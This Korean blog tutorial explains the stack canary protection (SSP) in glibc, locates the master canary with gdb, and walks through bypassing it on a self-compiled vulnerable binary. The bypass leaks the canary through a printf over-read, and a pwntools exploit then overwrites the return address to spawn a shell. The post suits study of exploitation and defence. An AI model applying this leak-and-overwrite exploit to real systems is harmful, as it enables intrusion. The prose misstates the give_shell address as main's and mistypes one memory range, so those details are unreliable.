pwn

SSP 보호기법 이란?(우회하는 방법)

HackHiJack 2021. 7. 29. 17:49
728x90
반응형

Stack Smashing Protector(SSP)는 메모리 커럽션 취약점 중 스택 버퍼 오버플로우 취약점을 막기 위해 개발된 보호 기법이다.

 

SSP의 원리는 스택 버퍼와 스택 프레임 포인터 사이에 Random값을 삽입하여 함수 종료 시점에서 랜덤 값 변조 여부를 검사하여 스택이 망가뜨려졌는지를 확인하는 방식이다.

 

그 랜덤 값을 Canary(카나리)라고 한다.

마스터 카나리는 main 함수가 호출되기 전에 랜덤으로 생성된 카나리를 스레드 별 전역 변수로 사용되는 TLS(Thread Local Storage)에 저장한다.

TLS 영역은 _dl_allocate_tls_storage 함수에서 __libc_memalign 함수를 호출하여 할당한다.

아래는 _dl_allocate_tls_storage함수이다.

void *
internal_function
_dl_allocate_tls_storage (void)
{
  void *result;
  size_t size = GL(dl_tls_static_size);
#if TLS_DTV_AT_TP
  /* Memory layout is:
     [ TLS_PRE_TCB_SIZE ] [ TLS_TCB_SIZE ] [ TLS blocks ]
			  ^ This should be returned.  */
  size += (TLS_PRE_TCB_SIZE + GL(dl_tls_static_align) - 1)
	  & ~(GL(dl_tls_static_align) - 1);
#endif
  /* Allocate a correctly aligned chunk of memory.  */
  result = __libc_memalign (GL(dl_tls_static_align), size);

 

아래는 security init 함수이다.

security_init함수는 shtack_chk_guard에서 생성한 랜덤 값을 설정한다.

static void
security_init (void)
{
  /* Set up the stack checker's canary.  */
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
  THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
  __stack_chk_guard = stack_chk_guard;
#endif

아래의 THREAD_SET_STACK_GUARD는 header.stack_guard에 카나리 값을 삽입한다.

#define THREAD_SET_STACK_GUARD(value) \
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

 

아래는 SSP의 스택상황이다.

#stack
ret
sfp
canary
buf

 

그러면 이제 canany가 어떻게 저장되는지 알아보자.

 

먼저 아래의 C코드를 컴파일 해준다.

// gcc -o master1 master1.c
#include <stdio.h>
#include <unistd.h>
int main()
{
	char buf[256];
	read(0, buf, 256);
}

먼저 checksec를 이용해서 확인해보자.

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

canary found라고 뜨는걸 확인할 수 있다.

 

이제 gdb로 확인해보자.

 

먼저 메인을 디스어셈블 해보자.

(gdb) disas main
Dump of assembler code for function main:
   0x0804846b <+0>:	lea    ecx,[esp+0x4]
   0x0804846f <+4>:	and    esp,0xfffffff0
   0x08048472 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048475 <+10>:	push   ebp
   0x08048476 <+11>:	mov    ebp,esp
   0x08048478 <+13>:	push   ecx
   0x08048479 <+14>:	sub    esp,0x114
   0x0804847f <+20>:	mov    eax,gs:0x14
   0x08048485 <+26>:	mov    DWORD PTR [ebp-0xc],eax
   0x08048488 <+29>:	xor    eax,eax
   0x0804848a <+31>:	sub    esp,0x4
   0x0804848d <+34>:	push   0x100
   0x08048492 <+39>:	lea    eax,[ebp-0x10c]
   0x08048498 <+45>:	push   eax
   0x08048499 <+46>:	push   0x0
   0x0804849b <+48>:	call   0x8048330 <read@plt>
   0x080484a0 <+53>:	add    esp,0x10
   0x080484a3 <+56>:	mov    eax,0x0
   0x080484a8 <+61>:	mov    edx,DWORD PTR [ebp-0xc]
   0x080484ab <+64>:	xor    edx,DWORD PTR gs:0x14
   0x080484b2 <+71>:	je     0x80484b9 <main+78>
   0x080484b4 <+73>:	call   0x8048340 <__stack_chk_fail@plt>
---Type <return> to continue, or q <return> to quit---
   0x080484b9 <+78>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x080484bc <+81>:	leave  
   0x080484bd <+82>:	lea    esp,[ecx-0x4]
   0x080484c0 <+85>:	ret    
End of assembler dump.

그러면 카나리 값을 확인하기 위해  <main+26>에 브레이크를 걸고 실행해보자.

(gdb) b *main+26
Breakpoint 1 at 0x8048485
(gdb) r
Starting program: /home/psj/pwn/ssp/1 

Breakpoint 1, 0x08048485 in main ()
(gdb) p/x $eax
$1 = 0x9976a400

위처럼 브레이크를 건 시점에서 eax레지스터를 확인해보면 랜덤 값이 나오는걸 확인할 수 있다.(랜덤 값이라서 eax는 다 다를수 있음)

 

그러면 이제 마스터 카나리의 위치를 찾아보자.

먼저 proc map을 확인해야한다.

(gdb) i proc map
process 20529
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000        0x0 /home/psj/pwn/ssp/1
	 0x8049000  0x804a000     0x1000        0x0 /home/psj/pwn/ssp/1
	 0x804a000  0x804b000     0x1000     0x1000 /home/psj/pwn/ssp/1
>>>	0xf7e05000 0xf7e06000     0x1000        0x0 
	0xf7e06000 0xf7fb3000   0x1ad000        0x0 /lib32/libc-2.23.so
	0xf7fb3000 0xf7fb4000     0x1000   0x1ad000 /lib32/libc-2.23.so
	0xf7fb4000 0xf7fb6000     0x2000   0x1ad000 /lib32/libc-2.23.so
	0xf7fb6000 0xf7fb7000     0x1000   0x1af000 /lib32/libc-2.23.so
	0xf7fb7000 0xf7fba000     0x3000        0x0 
	0xf7fd3000 0xf7fd4000     0x1000        0x0 
	0xf7fd4000 0xf7fd7000     0x3000        0x0 [vvar]
	0xf7fd7000 0xf7fd9000     0x2000        0x0 [vdso]
	0xf7fd9000 0xf7ffc000    0x23000        0x0 /lib32/ld-2.23.so
	0xf7ffc000 0xf7ffd000     0x1000    0x22000 /lib32/ld-2.23.so
	0xf7ffd000 0xf7ffe000     0x1000    0x23000 /lib32/ld-2.23.so
	0xfffdd000 0xffffe000    0x21000        0x0 [stack]

>>>로 표시 해놓은 곳 즉 0xf7e05000 ~ 0xf7306000이 TLS영역이다.

이 영역에서 방금 찾은 카나리 값 검색하면 된다.

(gdb) find 0xf7e05000,+0x1000,0x9976a400
0xf7e05714
1 pattern found.
(gdb) x/wx 0xf7e05714
0xf7e05714:	0x9976a400

위처럼 header.stack_guard에 카나리가 있는걸 확인할 수 있다.

 

이제 ssp우회 기법에 대해서 알아보도록 하겠다.

 ssp는 카나리를 변조하지 않고 익스플로잇 해야한다.

 

아래의 C코드를 디스어셈블 해보자.

// gcc -o example6 example6.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
void give_shell(void){
  system("/bin/sh");
}
int main(void){
  
  char buf[32] = {};
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  printf("Input1 : ");
  read(0, buf, 512);
  printf("Your input : %s", buf);
  printf("Input2 : ");
  read(0, buf, 512);
}

위의 코드는 버퍼 크기보다 받는 주소가 많아서 BOF가 일어나지만, SSP가 적용되어 카나리를 모른다면 BOF를 하지 못한다.

 

하지만 중간에 printf로 buf를 출력한다. %s는 null바이트를 만날때 까지 출력하는데 배열의 끝이 null이 아니라면 그 메모리 밖의 영역까지 출력한다.

 

예를 들면 아래의 코드에서 buf를 A(8개)로 다 채우면 secret message가 출력된다.

#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(void){
  char buf[8] = {};
  char secret[16] = {};
  strcpy(secret, "secret message");
  read(0, buf, 10);
  printf("%s\n", buf);
}

 

그럼 아까 컴파일한 파일을 gdb로 buf와 카나리의 주소의 offset을 구해보자.

(gdb) i r esp
esp            0xffffd018	0xffffd018
(gdb) x/3wx 0xffffd018
0xffffd018:	0x00000000	0xffffd024	0x00000200
(gdb) x/40wx 0xffffd024
0xffffd024:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd034:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd044:	0xa8f07700	0x00000000	0xf7e1e647	0x00000001
0xffffd054:	0xffffd0e4	0xffffd0ec	0x00000000	0x00000000
0xffffd064:	0x00000000	0xf7fb6000	0xf7ffdc04	0xf7ffd000
0xffffd074:	0x00000000	0xf7fb6000	0xf7fb6000	0x00000000
0xffffd084:	0xe194e422	0xddf84a32	0x00000000	0x00000000
0xffffd094:	0x00000000	0x00000001	0x08048450	0x00000000
0xffffd0a4:	0xf7fedff0	0xf7fe8880	0xf7ffd000	0x00000001
0xffffd0b4:	0x08048450	0x00000000	0x08048471	0x0804855e
(gdb) p/x 0xffffd045-0xffffd024
$3 = 0x21

카나리주소 + 1 - buf의 주소를 하면 offset을 구할 수 있다.

 

위에 보면 0xffffd024가 buf의 시작주소이고, 0xffffd044가 카나리의 주소이다.

카나리 주소 + 1이니 0xffffd045가 된다.

0xffffd045-0xffffd024로 offset을 구할 수 있다.

 

offset : 0x21

 

이제 canary를 leak하는 코드를 만들어볼 것이다.

from pwn import *

#context.log_level = "debug"

p = process("./2")

print(p.recvuntil("1 : "))

p.send(b"A"*0x21) 

print(p.recv(46)) #recv : your input : AAAA~~

canary = b"\x00" + p.recv(3) # canary : 0x~~~~~~00 so plus null(0x00)
canary = u32(canary) #unpack
shell_addr = 0x0804854b

print("Canary -> "+hex(canary)) #print canary

이제 익스플로잇 하기전에 get_shell의 위치를 확인해보자.

psj@ubuntu:~/pwn/ssp$ gdb -q ./2
Reading symbols from ./2...(no debugging symbols found)...done.
(gdb) info func
All defined functions:

Non-debugging symbols:
0x080483a0  _init
0x080483e0  read@plt
0x080483f0  printf@plt
0x08048400  __stack_chk_fail@plt
0x08048410  system@plt
0x08048420  __libc_start_main@plt
0x08048430  setvbuf@plt
0x08048450  _start
0x08048480  __x86.get_pc_thunk.bx
0x08048490  deregister_tm_clones
0x080484c0  register_tm_clones
0x08048500  __do_global_dtors_aux
0x08048520  frame_dummy
0x0804854b  give_shell
0x0804855e  main
0x08048620  __libc_csu_init
0x08048680  __libc_csu_fini
0x08048684  _fini

get_shell의 주소는 0x0804855e이다.

 

그러면 이제 exploit code를 짜보자.

from pwn import *

#context.log_level = "debug"

p = process("./2")

print(p.recvuntil("1 : "))

p.send(b"A"*0x21) 

print(p.recv(46)) #recv : your input : AAAA~~

canary = b"\x00" + p.recv(3) # canary : 0x~~~~~~00 so plus null(0x00)
canary = u32(canary) #unpack
shell_addr = 0x0804854b

print("Canary -> "+hex(canary)) #print canary
payload = b"\x90"*32 #buf
payload += p32(canary) #canary
payload += b"\x90"*4  #sfp
payload += p32(0x0804854b) #ret

p.sendline(payload)

p.interactive()

위의 코드는 카나리를 첫번째 input을 이용해서 leak하고 두번째 input에서 bof를 했다.

이제 실행을 해보자.

쉘 획득에 성공한 걸 확인할 수 있다.

 

728x90
반응형